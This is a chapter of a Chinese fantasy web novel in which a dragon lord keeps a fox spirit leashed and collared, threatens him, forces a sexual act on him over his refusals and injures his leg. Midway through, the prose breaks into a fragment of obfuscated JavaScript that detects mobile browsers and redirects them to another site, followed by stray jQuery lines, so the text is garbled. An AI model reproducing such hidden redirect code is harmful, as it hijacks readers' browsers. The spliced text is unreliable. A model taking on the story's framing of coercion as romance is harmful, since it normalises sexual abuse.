左小鸣想出门,在思考如何开口能让玄嵇同意。
他站在窗前,望着外头一成不变的风景,仙树繁茂,花团锦簇,一对比翼鸟在浅紫色的花瓣上跳来跳去。
玄嵇进到屋里,肩上沾了一小瓣儿花片,他走到左小鸣背后,把人圈在怀里,那片小花瓣便顺着他的动作滚落,落到左小鸣手边。
玄嵇问:“起得来床了?”
左小鸣身子一僵,不是很习惯这样随时随地的触碰,想要推开玄嵇,抬起手后,又犹豫,最后落下去扶着窗框说:“我想出去走走。”
玄嵇语气不好道:“外面有什么好走的?”
左小鸣闷着脸:“你要把我关在这里一辈子吗?”
他这话算是问到玄嵇的心坎上了,玄嵇可巴不得呢,把小狐狸拴在床上,日夜在他身下承欢。
玄嵇一想就兴奋,喉咙发紧,手不老实地伸进左小鸣的交领衣襟里,道:“不然呢?让你出去,再招蜂引蝶?”
左小鸣打了个寒颤,玄嵇的手太冷。
龙的精力似乎永远也用不完,挨着自己的伴侣就要随时随地兽性激发,左小鸣按住那只作乱的手,生气玄嵇的泼脏水,又懒地辩解,只凉凉朝后瞥他一眼:“我相貌丑陋,哪有你招人稀罕。”
话一出口,他就后悔。
跟玄嵇顶嘴,没什么好果子。
可玄嵇却挑眉,歪着脑袋凑过去看左小鸣鲜明的脸,正好瞧见左小鸣懊恼之间带些担忧的小表情。
玄嵇揉着小狐狸单薄的胸膛说:“那你怎么不稀罕本君?”
左小鸣不说话了,咬着唇轻抖。
玄嵇眼神一暗,哼了一声,狠狠揪扯那只小软疙瘩。
左小鸣抽气一声,猛地朝后仰去,紧紧贴在玄嵇宽厚的胸膛上,玄嵇便顺势揽住他的腰,亲着他小巧的耳垂。
左小鸣不想闹僵,他还要玄嵇松口,匀着气,缓一缓,又说:“我只在仙界走动,你还怕我逃吗?”
玄嵇把他翻了个身,捧着那张柔软的嫩脸亲了几下,亲不够似的,又舔了几下,弄得左小鸣脸蛋上几道口水印:“你尽管试试再逃,本君会敲断你的腿。”
左小鸣正想抬手擦那些令他恶心的口水,听到这句威胁,脸上血色尽褪,明显被吓得不轻。
玄嵇瞧着这只胆小如鼠的小狐狸,把他抱起来,让他坐在窗台上说:“把腿张开。”
左小鸣茫然看他:“什么?”
玄嵇握住左小鸣的脚腕提起来,让他踩着窗框:“本君开心些,说不定会准你出去走走。”
玄嵇眼中烧着火,左小鸣一个激灵,瞬间明白玄嵇的意思,他躲闪着,拢着双膝,死活不肯:“不、我不要……”
玄嵇抓住左小鸣的手反压到背后,硬是挤开了他的双膝站进去:“由得你?”
左小鸣挣扎着,他本就虚弱,那点力气跟羽毛搔在心头似得轻。
“不要在这里……”窗户大开,随时都会有灵奴来往,左小鸣急得连脖子都红了。
玄嵇根本不听他的话,一意孤行,低下头,凑近左小鸣散开的衣襟内。
小狐狸身子很香,尤其小软疙瘩范围,那里的肌肤会散发一些暖暖的甜香气,玄嵇不知道是狐妖都这样,还是只有左小鸣这样。
左小鸣坐在窗框上,只有腰着力,玄嵇劲儿冲狠了,他便尖叫着仰下去。
左小鸣抠紧木窗里的缝隙掐着,热泪落了满颊,模糊间,他看见远处的一堵墙后,有个灵奴伸着脑袋,似乎在窥探。
左小鸣登时睁大双眼,像被丢进冰冷寒潭之中,寒意渗透四肢百骸,他撑着起身,疯狂推搡玄嵇,小声哭着:“我们……进去……”
被人看见自己一副不堪的画面,左小鸣陷入巨大的羞耻漩涡里,整颗脑子都热轰轰地要炸开般。
玄嵇见他哭得激烈,“啧”了一声,把人搂进怀里。
左小鸣什么也顾不得,一心要把难堪的自己藏起来,紧紧缩进玄嵇怀抱里,闷闷地叫玄嵇进屋去。
他哭得太可怜,听得直叫人心软,玄嵇拍了拍他后背问:“怎么了?”
左小鸣断断续续地哭道:“有人看见……”
玄嵇轻呵一声,非但没进去,更是把左小鸣从身上扒下来,按在窗框上,斩钉截铁地恶劣道:“就在这儿。”
左小鸣背对着他,几乎要把嘴唇咬破,趁玄嵇稍稍松手调整时,他使出浑身力气推了一把玄嵇,然后朝屋里跑去,跳上床,用被褥埋住自己。
小狐狸蹿得太快,被他溜了,玄嵇不爽地黑脸进去,看见床上那坨蘑菇般的被子都在颤抖,又气又好笑。
他过去要拽开被子,左小鸣在里头也拽着,几根纤细的指头露在外面捏紧被褥,莹润的指甲因为用力充饱了血,比平时的蔷薇粉要更红艳。
玄嵇心头热火难耐,不再跟左小鸣玩猫捉老鼠,一把掀开薄被。
左小鸣惊慌失措,眼里噙满透明的泪水,楚楚可怜地瞪大眼睛,嘴皮子居然都咬破了。
玄嵇心软了几分,把小狐狸搂进怀里揉了两把说:“没出息。”
玄嵇终于同意左小鸣出门,他带着人,去往仙界的花海。
他曾听人提起过,花海是那些个爱侣们最喜欢去的地方。
左小鸣不想去,他想去找星辰君。
星辰君虽然只掌管仙界诸君历劫,但也可以算到凡人的一些灾祸。
星辰君还有一面镜子,可以看见自己的前尘往事。
左小鸣幻出原形跟随玄嵇出去,玄嵇看着地上那团小白狐,把他抱起来嫌弃道:“给你吃了那么多灵力丹,怎么消耗这么快?”
左小鸣也不知道,把一双圆润的猫儿眼眯成一条缝,一声不吭,他太疲惫,哼唧一声都没多余的力气。
到了花海,一阵香气扑鼻,满眼姹紫嫣红,仿佛望不到边际。
左小鸣从玄嵇怀中跳到地上,寻了棵仙树蜷着休息。
他身子乏得厉害,又被玄嵇过度压榨,走起路来头重脚轻,一伏在地上,枕着自己的大尾巴,就这么要睡过去,想寻星辰君的事都被忘了。
玄嵇来赏花,他可没心情。
玄嵇不满意地过去踢了一脚小狐狸:“怎么刚到你就睡?你是猪还是狐狸?起来随本君走走。”
左小鸣细细地叫唤一声,没动身,眼睛都没睁,说明是不愿意。
玄嵇恼了,他好心带小狐狸出来散心,一步都没走,就搁这儿挺尸,还欣赏什么美景?
玄嵇蹲下身,把小狐狸枕着的大尾巴薅出来:“起来,别装死。”
小狐狸慢慢睁开眼,露出一双疲惫泛红的瞳孔,他不想惹恼玄嵇,于是慢腾腾起来。
玄嵇揉小狐狸的脑袋,捏了捏小狐狸尖尖的耳朵。
小狐狸不知道玄嵇想做什么,任他揉捏,他已经这样顺从,头顶的玄嵇却不满道:“你怎么跟个木头似的。”
玄嵇把手伸到小狐狸嘴边,命令他:“舔。”
小狐狸只爱舔自己,不喜欢舔别人,但玄嵇这样强硬,他只好伸出舌头舔了舔玄嵇手心。
玄嵇扬起唇角,感受着掌心湿漉漉的麻意,奖励般捏了捏小狐狸下巴处的软肉:“做得不错。”
左小鸣睨他一眼,有些嫌弃。
玄嵇高兴了,抱起小狐狸说:“不想走的话,本君抱着你转转。”
小狐狸闭着耳朵,由他去。
有一对情人见到玄嵇,惊喜地上来问候,玄嵇冷淡地颔首,又抱着小狐狸往别处。
那对情人嘀嘀咕咕:“玄嵇君居然养宠物?”
“玄嵇君不是成婚了么?和一个狐妖,他怀里抱的估计就是他媳妇儿。”
“没想到玄嵇君如此闲情雅致,还抱着媳妇儿出来逛。”仙子有些感慨道。
仙君咧着嘴呵呵道:“你原身是一只鸟,你也变回去,我拿个笼子框住你出来遛鸟,我也雅致一回。”
仙子给了仙君一个嘴巴子。
但这话被玄嵇听到了,他看了眼怀里的小狐狸,已经开始琢磨回去给小狐狸打造一个什么样的笼子了。
左小鸣不知玄嵇心里在想什么,他眯着眼,无暇欣赏美景,倦得直打瞌睡,偶尔睁一次眼,却愣住。
远处,树下,一道熟悉的月白身影。
小狐狸几乎是瞬间就直起了身子,从玄嵇怀里一跃而跳,他攒足了力气,往前狂跑,喉咙里发出吚吚呜呜的低鸣。
是师父,孟澹摇。
左小鸣拼了全力往前跑,寂静的空气竟被他带出了风,他忍不住叫唤,声音里充满无尽伤心和急切。
虽然与师父相处日子甚短,但在他心里,一日为师,终身为父,绝不是嘴上说说,他很怀念在万踪林,那无忧无虑的几日。
在这段噩梦般的时日里,孟澹摇的出现于左小鸣而言,如同救命稻草,冲动地要奔过去。
孟澹摇站在那里,脸上露出愕然,他张了张嘴,似乎在叫左小鸣。
而小狐狸的叫声听起来就像在回应。
玄嵇看得眸色猩红,一股暴戾在胸中流窜。
方才他叫了半天,小狐狸都不愿意起来走动,这会儿见了孟澹摇,精神得甩着大尾巴都快要飞起来。
玄嵇恨得牙痒,抬抬手,前面那只逃走的小狐狸便被掀翻在地,整个身子都倒了个过儿,滚了好几圈。
小狐狸摔在地上,啃了一嘴的花花草草,鼻腔里是带着泥土的湿气。
“小鸣!”孟澹摇朝这边快步跑来。
小狐狸慢慢爬起来,后肢好像拧断了般,疼得他眼泪糊了一脸,他忍耐着,往前迈脚,听到身后有人寒声叫他:“左小鸣。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549722|186780||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>左小鸣僵住,回头看去,玄嵇还站在原地,他握紧的右手里有一条闪着银芒的细线,线的另一头,在他脖子上的项圈上。
就是这根银线,让他方才栽了个跟头。
玄嵇扯扯线,一瞬不瞬地盯着他:“回来。”
左小鸣颤抖着身子,又看了眼近到跟前的孟澹摇,瘸着腿,往后退了一步,理智被拉回来。
只是,不甘心,要这样受摆布。
左小鸣深呼吸一口气,幻出人形,抹干净不受控制的泪,对玄嵇道:“是我师父来了。”说罢,不顾玄嵇愈发阴寒的脸朝孟澹摇走去。
骨头错位般的疼痛让左小鸣煞白了脸,孟澹摇跑到他面前,扶着他道:“抱歉,小鸣,我来得太晚。”
左小鸣努力微笑,站得挺直,表情难看得很:“哪有,我在这儿挺好的。”
孟澹摇见他红着眼还逞强,心疼不已,想说什么,玄嵇已经过来,眸光不善地盯着他:“孟澹摇,你来仙界做什么?”
孟澹摇直直看着他:“带我徒弟离开。”
玄嵇轻蔑道:“你徒弟?是,左小鸣是你徒弟,可他更是我爱妻。”
他又补道:“已有婚契。”
孟澹摇错愕:“你说什么?”
玄嵇趁此将左小鸣拉回来,亲密揽住:“鸣鸣,告诉你师父,本君说得是吗?”
孟澹摇虽厉害,但要救他脱身不是一件易事,他不能再像往常一样莽撞。
左小鸣想着,点点头:“他说得对,师父,我和玄嵇已经有了婚契。”
左小鸣心事藏不住,脸上满是勉强,孟澹摇看得出来,玄嵇亦是,磨着牙,笑得阴森,客气道:“孟大人,改日喜宴,还要请你来吃个喜酒。”
孟澹摇没理他,看着左小鸣:“小鸣,你拜我为师,受了你的拜师礼,我却没能教你什么,你要不要和我回万踪林,学上一段时日?”
孟澹摇一双清冷温柔的眉眼,殷殷切切。
左小鸣嗓子糊住般,张张嘴,没发出声音,玄嵇已把他的话接了过去:“鸣鸣和本君正值新婚,没时间学那些小把戏,鸣鸣想学的,本君都能教。”
孟澹摇脸色变得极为难看。
左小鸣心里有主意,不想让两人闹得太僵,抓住玄嵇的手说:“我腿疼,回去吧。”他又对孟澹摇说:“师父,改日再见。”
玄嵇拽着左小鸣便走。
左小鸣右腿受伤,一路踉跄,直到紫云宫,再没忍住,快要摔倒,被玄嵇拉了一把。
玄嵇见左小鸣惨白着脸,目光才落到他那条形状略微诡异的右腿:“疼吗?”
不等左小鸣回答,他又冷道:“活该。”
左小鸣咂摸着“爱妻”二字,笑出了声。
那笑容刺眼,玄嵇问他笑什么。
左小鸣抬眸看他,评价他:“神君大人很会演戏。”
即使再三劝告自己要忍,但他实在忍不住。
果不其然,玄嵇发怒,眸里翻滚着可怕的情绪。
左小鸣已经疼麻木了,心想,玄嵇还能怎么着他?
玄嵇没法怎么着他,他脸色白得吓人,下一刻,昏在了玄嵇身上。
玄嵇把他抱进屋里,放到床上,左小鸣灵力尽失,变成了狐身。
长泽仙君下凡历劫,玄嵇只能叫来略通医术的朝云过来。
朝云看着躺在榻上紧闭双眼的小狐狸,瞳孔震惊,心下一沉:“……他死了?”
玄嵇皱眉:“死了本君还叫你过来?”
朝云走过去,看着浑身毛发凌乱的小狐狸说:“小狐狸迟早要被你糟蹋死。”
玄嵇冷笑:“再废话就走。”
朝云暗骂玄嵇畜生,摸了摸昏过去的小狐狸,给小狐狸接了骨,小狐狸直接疼醒,挣扎着乱叫,抱着那只动他后肢的手就要咬。
朝云也不躲,语气柔软地哄:“乖乖,不疼,不疼,骨头接好了,不疼了……”
左小鸣听见是朝云的声音,刚要下牙的嘴便停住了,抬头看看朝云,呜咽着,舔了舔朝云手指。
谢谢。
玄嵇听朝云那怪腔怪气像夹着嗓子的声音,直皱眉。
偏偏小狐狸吃这套,拿鼻子蹭蹭朝云的手心。
朝云用另一只手揉揉小狐狸脑袋,又摸到那只鎏金项圈,皱了皱眉。
他敢笃定,这项圈绝不是为了让小狐狸漂亮才戴的。
玄嵇见小狐狸那么温顺地主动舔人家,想起在花海时小狐狸对他不情不愿的态度,脸拉下来:“治好了就走。”
朝云把小狐狸抱起来,拣着那毛发里夹的杂草花瓣说:“玄嵇君,你不会照顾小动物,还是让我来吧,我给小狐狸洗洗澡,上些止痛药再走。”
玄嵇把小狐狸从他怀中扯出来:“用不着你来。”
朝云被赶出去。